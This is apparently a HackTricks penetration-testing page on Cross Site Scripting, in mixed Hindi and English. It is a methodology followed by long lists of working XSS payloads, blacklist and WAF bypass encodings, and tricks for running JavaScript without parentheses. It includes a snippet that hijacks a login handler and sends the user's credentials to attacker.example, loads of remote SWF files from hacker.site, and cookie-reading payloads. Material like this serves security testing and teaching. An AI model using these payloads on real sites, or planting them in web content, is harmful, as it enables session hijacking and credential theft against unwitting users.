XSS (Cross Site Scripting)
Reading time: 59 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Methodology
- Check if any value you control (parameters, path, headers?, cookies?) is being reflected in the HTML or used by JS code.
- Find the context where it's reflected/used.
- If reflected
- Check which symbols can you use and depending on that, prepare the payload:
- In raw HTML:
- Can you create new HTML tags?
- Can you use events or attributes supporting
javascript:
protocol? - Can you bypass protections?
- Is the HTML content being interpreted by any client side JS engine (AngularJS, VueJS, Mavo...), you could abuse a Client Side Template Injection.
- If you cannot create HTML tags that execute JS code, could you abuse a Dangling Markup - HTML scriptless injection?
- Inside a HTML tag:
- Can you exit to raw HTML context?
- Can you create new events/attributes to execute JS code?
- Does the attribute where you are trapped support JS execution?
- Can you bypass protections?
- Inside JavaScript code:
- Can you escape the
<script>
tag? - Can you escape the string and execute different JS code?
- Are your input in template literals ``?
- Can you bypass protections?
- Javascript function being executed
- You can indicate the name of the function to execute. e.g.:
?callback=alert(1)
- If used:
- You could exploit a DOM XSS, pay attention how your input is controlled and if your controlled input is used by any sink.
When working on a complex XSS you might find interesting to know about:
Reflected values
एक सफल XSS exploit करने के लिए सबसे पहले आपको यह ढूँढना होगा कि कोई value जिसे आप control करते हैं वह web page में reflect हो रही है या नहीं।
- Intermediately reflected: अगर आप पाते हैं कि किसी parameter या path का value web page में reflect हो रहा है तो आप एक Reflected XSS exploit कर सकते हैं।
- Stored and reflected: अगर आप पाते हैं कि आपका control किया हुआ value server पर save होता है और हर बार page access करने पर reflect होता है तो आप एक Stored XSS exploit कर सकते हैं।
- Accessed via JS: अगर आप पाते हैं कि आपका control किया हुआ value JS द्वारा access किया जा रहा है तो आप एक DOM XSS exploit कर सकते हैं।
Contexts
XSS exploit करने की कोशिश करते समय सबसे पहले आपको यह जानना होगा कि आपका input कहाँ reflect हो रहा है। context पर निर्भर करके आप अलग-अलग तरीकों से arbitrary JS code execute कर पाएँगे।
Raw HTML
अगर आपका input raw HTML page में reflect हो रहा है तो आपको JS code execute करने के लिए किसी HTML tag का दुरुपयोग करना होगा: <img , <iframe , <svg , <script
... ये कुछ उदाहरण मात्र हैं जिनका आप इस्तेमाल कर सकते हैं।
साथ ही, ध्यान रखें Client Side Template Injection.
Inside HTML tags attribute
अगर आपका input किसी tag के attribute के value के अंदर reflect हो रहा है तो आप कोशिश कर सकते हैं:
- Attribute और tag से escape करके (फिर आप raw HTML में होंगे) नए HTML tag बनाकर दुरुपयोग करें:
"><img [...]
- अगर आप attribute से तो escape कर सकते हैं पर tag से नहीं (
>
encode या delete किया जा रहा है), तो tag के प्रकार पर निर्भर करके आप कोई event बना सकते हैं जो JS code execute करे:" autofocus onfocus=alert(1) x="
- अगर आप attribute से भी escape नहीं कर सकते (
"
encode या delete किया जा रहा है), तो यह निर्भर करेगा कि value किस attribute में reflect हो रही है और क्या आप पूरा value control करते हैं या सिर्फ एक हिस्सा। उदाहरण के लिए, अगर आप किसी event जैसेonclick=
को control करते हैं तो आप arbitrary code execute करवा सकते हैं जब वह क्लिक हो। एक और दिलचस्प उदाहरण हैhref
attribute, जहाँ आपjavascript:
protocol का उपयोग करके arbitrary code चला सकते हैं:href="javascript:alert(1)"
- अगर आपका input "unexpoitable tags" के अंदर reflect हो रहा है तो आप
accesskey
trick आज़मा सकते हैं ताकि vuln का दुरुपयोग हो (इसके लिए कुछ social engineering की आवश्यकता होगी):" accesskey="x" onclick="alert(1)" x="
Weird example of Angular executing XSS if you controls a class name:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript कोड के अंदर
In this case your input is reflected between <script> [...] </script>
tags of a HTML page, inside a .js
file or inside an attribute using javascript:
protocol:
- If reflected between
<script> [...] </script>
tags, even if your input if inside any kind of quotes, you can try to inject</script>
and escape from this context. This works because the browser will first parse the HTML tags and then the content, therefore, it won't notice that your injected</script>
tag is inside the HTML code. - If reflected inside a JS string and the last trick isn't working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won't be executed:
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- If reflected inside template literals you can embed JS expressions using
${ ... }
syntax:var greetings = `Hello, ${alert(1)}`
- Unicode encode का उपयोग valid javascript code लिखने के लिए किया जा सकता है:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting उस अवसर को दर्शाता है जहाँ आप functions, variables या classes को उनके उपयोग के बाद declare कर सकते हैं ताकि आप उन scenarios का गलत फायदा उठा सकें जहाँ कोई XSS undeclared variables या functions का उपयोग कर रहा हो।
अधिक जानकारी के लिए निम्नलिखित पेज चेक करें:
Javascript Function
कई वेब पेज ऐसे endpoints होते हैं जो accept as parameter the name of the function to execute. एक आम उदाहरण जो आप रियल वर्ल्ड में देखेंगे कुछ ऐसा है: ?callback=callbackFunc
.
यह पता लगाने का एक अच्छा तरीका है कि यूज़र द्वारा सीधे दी गई चीज़ें execute होने की कोशिश कर रही हैं या नहीं, वह है modifying the param value (उदाहरण के लिए 'Vulnerable') और console में ऐसे errors ढूँढना:
यदि यह vulnerable है, तो आप सिर्फ वैल्यू भेजकर trigger an alert कर सकते हैं: ?callback=alert(1)
। हालांकि, बहुत आम है कि ये endpoints validate the content करके केवल अक्षर, संख्याएँ, डॉट्स और अंडरस्कोर ([\w\._]
) की अनुमति देंगे।
हालाँकि, उस limitation के साथ भी कुछ actions करना संभव है। ऐसा इसलिए है क्योंकि आप उन valid chars का इस्तेमाल करके किसी भी DOM element तक पहुँच सकते हैं:
कुछ उपयोगी functions इसके लिए:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
आप सीधे Javascript functions को सक्रिय करने का भी प्रयास कर सकते हैं: obj.sales.delOrders
.
हालाँकि, आमतौर पर वह function जिन endpoints पर execute होता है उन endpoints में बहुत रोचक DOM नहीं होता, other pages in the same origin में अधिक रोचक DOM होता है जहाँ और अधिक actions किए जा सकते हैं।
इसलिए, किसी अलग DOM में abuse this vulnerability in a different DOM करने के लिए Same Origin Method Execution (SOME) exploitation विकसित किया गया:
SOME - Same Origin Method Execution
DOM
कुछ जगह ऐसा JS code होता है जो असुरक्षित तरीके से हमलावर द्वारा नियंत्रित कुछ data जैसे location.href
का उपयोग कर रहा होता है। एक हमलावर इसका दुरुपयोग करके arbitrary JS code execute कर सकता है।
Universal XSS
इन प्रकार के XSS कहीं भी पाए जा सकते हैं (anywhere)। ये केवल वेब एप्लिकेशन के क्लाइंट exploitation पर निर्भर नहीं करते बल्कि किसी भी context पर निर्भर कर सकते हैं। इस तरह की arbitrary JavaScript execution का दुरुपयोग करके यहाँ तक कि RCE हासिल किया जा सकता है, क्लाइंट और सर्वर पर arbitrary files पढ़े जा सकते हैं, और भी बहुत कुछ।
कुछ examples:
WAF bypass encoding image
Injecting inside raw HTML
जब आपका इनपुट inside the HTML page पर प्रतिबिंबित होता है या आप इस context में escape करके HTML code inject कर सकते हैं, तो सबसे पहले आपको यह जांचना चाहिए कि क्या आप नए टैग बनाने के लिए <
का दुरुपयोग कर सकते हैं: बस उस char को reflect कराकर देखें और जाँचें कि उसे HTML encoded किया जा रहा है, deleted किया जा रहा है, या बिना बदलाव के reflect किया जा रहा है। केवल अंतिम स्थिति में ही आप इस केस का exploit कर पाएँगे।
ऐसे मामलों में भी ध्यान रखें Client Side Template Injection.
नोट: एक HTML comment को बंद किया जा सकता है using****-->
****or **--!>
****
इस स्थिति में और यदि कोई black/whitelisting उपयोग में नहीं है, तो आप निम्न payloads का उपयोग कर सकते हैं:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus
attribute. In the XSS request, you need to end the URL with #
to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
अगर किसी तरह की blacklist लागू की जा रही है, तो आप कुछ आसान ट्रिक्स से उसे bypass करने की कोशिश कर सकते हैं:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > विभिन्न परिवेशों के लिए अधिक tiny XSS payload can be found here and here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
यदि किसी vulnerability को exploit करने के लिए आपको user to click a link or a form (prepopulated data के साथ) की आवश्यकता है, तो आप पेज vulnerable होने पर abuse Clickjacking आज़माकर देख सकते हैं।
Impossible - Dangling Markup
अगर आप सिर्फ यह सोचते हैं कि HTML tag के साथ ऐसा कोई attribute बनाना असंभव है जो JS code execute कराए, तो आपको Danglig Markup देखना चाहिए क्योंकि आप vulnerability का exploit JS code को execute किए बिना भी कर सकते हैं।
HTML tag के अंदर इंजेक्शन
Tag के अंदर / attribute value से escape होना
यदि आप HTML tag के अंदर हैं, तो सबसे पहले आप कोशिश कर सकते हैं कि tag से escape करें और previous section में बताये गए कुछ techniques का उपयोग करके JS code execute करें।
यदि आप cannot escape from the tag, तो आप tag के अंदर नए attributes बना कर JS code execute करने की कोशिश कर सकते हैं, उदाहरण के लिए कुछ payload का उपयोग करके ( note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag ):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
स्टाइल घटनाएँ
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
एट्रिब्यूट के अंदर
भले ही आप cannot escape from the attribute ("
is being encoded or deleted), यह इस बात पर निर्भर करेगा कि आपकी value किस attribute में reflect हो रही है और क्या आप पूरी value नियंत्रित करते हैं या केवल उसका एक हिस्सा — इससे आप इसे नुकसान पहुँचाने के लिए उपयोग कर पाएंगे। For example, अगर आप onclick=
जैसे event को नियंत्रित करते हैं तो आप इसे क्लिक होने पर arbitrary code चलाने के लिए इस्तेमाल कर सकते हैं.
एक और रोचक example attribute href
है, जहाँ आप javascript:
protocol का उपयोग करके arbitrary code चला सकते हैं: href="javascript:alert(1)"
HTML encoding/URL encode का उपयोग करके event के अंदर bypass
HTML टैग्स के attributes की value के अंदर मौजूद HTML encoded characters runtime पर decoded हो जाते हैं। इसलिए निम्न जैसा कुछ वैध होगा (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
ध्यान दें कि any kind of HTML encode is valid:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
ध्यान दें कि URL encode भी काम करेगा:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass इवेंट के अंदर Unicode encode का उपयोग करके
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
attribute के भीतर विशेष प्रोटोकॉल
आप वहाँ कुछ जगहों पर प्रोटोकॉल javascript:
या data:
का उपयोग कर के मनमाना JS code निष्पादित कर सकते हैं। कुछ में उपयोगकर्ता की सहभागिता आवश्यक होगी, कुछ में नहीं।
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
जहाँ आप इन प्रोटोकॉल्स को इंजेक्ट कर सकते हैं
सामान्य रूप से javascript:
प्रोटोकॉल किसी भी टैग में उपयोग किया जा सकता है जो href
एट्रिब्यूट स्वीकार करता है और उन टैग्स के अधिकांश में भी जो src
एट्रिब्यूट स्वीकार करते हैं (लेकिन <img>
में नहीं)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
अन्य obfuscation tricks
इस मामले में पिछले अनुभाग से मिली HTML encoding और Unicode encoding trick भी मान्य हैं क्योंकि आप एक attribute के अंदर हैं।
<a href="javascript:var a=''-alert(1)-''">
इसके अलावा, इन मामलों के लिए एक और nice trick है: भले ही आपके javascript:...
के अंदर का input URL encoded हो रहा हो, इसे execute होने से पहले URL decoded किया जाएगा। तो, अगर आपको string से escape करने के लिए single quote का उपयोग करना है और आप देखते हैं कि यह URL encoded हो रहा है, तो याद रखें कि कोई फर्क नहीं पड़ता, इसे execution के समय interpreted के रूप में single quote माना जाएगा।
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
ध्यान दें कि यदि आप किसी भी क्रम में URLencode + HTMLencode
दोनों का उपयोग करके payload को encode करने की कोशिश करते हैं तो यह काम नहीं करेगा, लेकिन आप payload के अंदर उन्हें mix कर सकते हैं।
Hex और Octal encode का उपयोग javascript:
के साथ
आप iframe
के src
attribute के अंदर (कम से कम) Hex और Octal encode का उपयोग करके HTML tags to execute JS घोषित कर सकते हैं:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
यदि आप किसी भी URL को किसी भी <a href=
टैग में इंजेक्ट कर सकते हैं जिसमें target="_blank" and rel="opener"
attributes मौजूद हों, तो इस व्यवहार का शोषण करने के लिए निम्न पेज देखें:
on Event Handlers Bypass
सबसे पहले इस पेज को देखें (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) उपयोगी "on" event handlers के लिए.\
यदि कोई blacklist आपको ये event handlers बनाने से रोक रही है, तो आप निम्नलिखित bypasses आज़मा सकते हैं:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS "Unexploitable tags" में (hidden input, link, canonical, meta)
From here अब hidden inputs को निम्न के साथ abuse करना संभव है:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
और मेटा टैग्स में:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
स्रोत: here: आप एक XSS payload inside a hidden attribute चला सकते हैं, बशर्ते आप मनाना कर के victim को key combination दबाने के लिए राज़ी कर सकें। Firefox Windows/Linux पर की संयोजन ALT+SHIFT+X है और OS X पर यह CTRL+ALT+X है। आप access key attribute में अलग key का उपयोग करके एक अलग key combination निर्दिष्ट कर सकते हैं। Here is the vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload कुछ इस तरह होगा: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Several tricks with using different encoding were exposed already inside this section. Go back to learn where can you use:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1)
- URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Read the Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Read the JavaScript bypass blacklist of the following section.
CSS-Gadgets
यदि आप वेब के किसी बहुत छोटे हिस्से में XSS पाते हैं जो किसी तरह के इंटरैक्शन की मांग करता है (शायद footer में एक छोटा लिंक जिसके साथ onmouseover element हो), तो आप उस element द्वारा घेरें जाने वाली जगह को बदलने की कोशिश कर सकते हैं ताकि लिंक के फ़ायर होने की संभावना अधिक हो।
For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
Now you can modify our link and bring it to the form
<a href="" id=someid class=test onclick=alert() a="">
This trick was taken from https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
In these case you input is going to be reflected inside the JS code of a .js
file or between <script>...</script>
tags or between HTML events that can execute JS code or between attributes that accepts the javascript:
protocol.
Escaping <script> tag
If your code is inserted within <script> [...] var input = 'reflected data' [...] </script>
you could easily <script>
टैग को बंद करना escape करें:
</script><img src=1 onerror=alert(document.domain)>
Note that in this example we haven't even closed the single quote. This is because HTML parsing is performed first by the browser, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
JS code के अंदर
यदि <>
sanitize किए जा रहे हैं तो आप फिर भी उस स्थान पर जहाँ आपका इनपुट स्थित है, स्ट्रिंग को एस्केप करें और arbitrary JS को execute करें। यह महत्वपूर्ण है कि आप JS syntax को ठीक करें, क्योंकि यदि कोई त्रुटि होगी, तो JS code निष्पादित नहीं होगा:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
जब user input किसी quoted JavaScript string के अंदर पहुँचता है (e.g., server-side echo into an inline script), आप string को terminate कर सकते हैं, code inject कर सकते हैं, और syntax को repair करके parsing को वैध रख सकते हैं। सामान्य ढाँचा:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
उदाहरण URL पैटर्न जब संवेदनशील पैरामीटर JS string में परावर्तित होता है:
?param=test";<INJECTION>;a="
यह attacker JS को HTML context को छुए बिना निष्पादित करता है (pure JS-in-JS)। जब filters keywords ब्लॉक कर रहे हों तो नीचे दिए गए blacklist bypasses के साथ मिलाकर इस्तेमाल करें।
Template literals ``
एकल और डबल quotes के अलावा strings बनाने के लिए JS backticks ``
को भी स्वीकार करता है। इसे template literals कहा जाता है क्योंकि यह ${ ... }
सिंटैक्स का उपयोग करके embedded JS expressions को एम्बेड करने की अनुमति देता है।
इसलिए, अगर आप पाते हैं कि आपका इनपुट backticks वाले JS string के अंदर reflected हो रहा है, तो आप ${ ... }
सिंटैक्स का दुरुपयोग करके arbitrary JS code चला सकते हैं:
यह निम्नलिखित का उपयोग करके दुरुपयोग किया जा सकता है:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Encoded code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads के साथ eval(atob()) और scope के सूक्ष्म अंतर
URLs को छोटा रखने और सरल keyword filters को बायपास करने के लिए, आप अपने वास्तविक logic को base64-encode कर सकते हैं और इसे eval(atob('...'))
के साथ evaluate कर सकते हैं। अगर simple keyword filtering alert
, eval
, या atob
जैसे identifiers को ब्लॉक कर देता है, तो Unicode-escaped identifiers का उपयोग करें जो ब्राउज़र में बिल्कुल समान compile होते हैं पर string-matching filters को चकमा दे देते हैं:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
महत्वपूर्ण स्कोपिंग सूक्ष्मता: const
/let
जो eval()
के अंदर घोषित होते हैं, वे ब्लॉक-स्कोप्ड होते हैं और globals नहीं बनाते; वे बाद में चलने वाली स्क्रिप्ट्स से एक्सेस नहीं होंगे। जब आवश्यकता हो तो global, non-rebindable hooks को परिभाषित करने के लिए dynamically injected <script>
element का उपयोग करें (e.g., to hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
संदर्भ: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Encode JS निष्पादन
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists तकनीकें
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
विशेष escapes
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS code के अंदर स्पेस प्रतिस्थापन
<TAB>
/**/
JavaScript कमेंट्स (से JavaScript Comments ट्रिक)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (से JavaScript new line ट्रिक)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript रिक्त स्थान
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript टिप्पणी के अंदर
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript कोष्ठकों के बिना
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
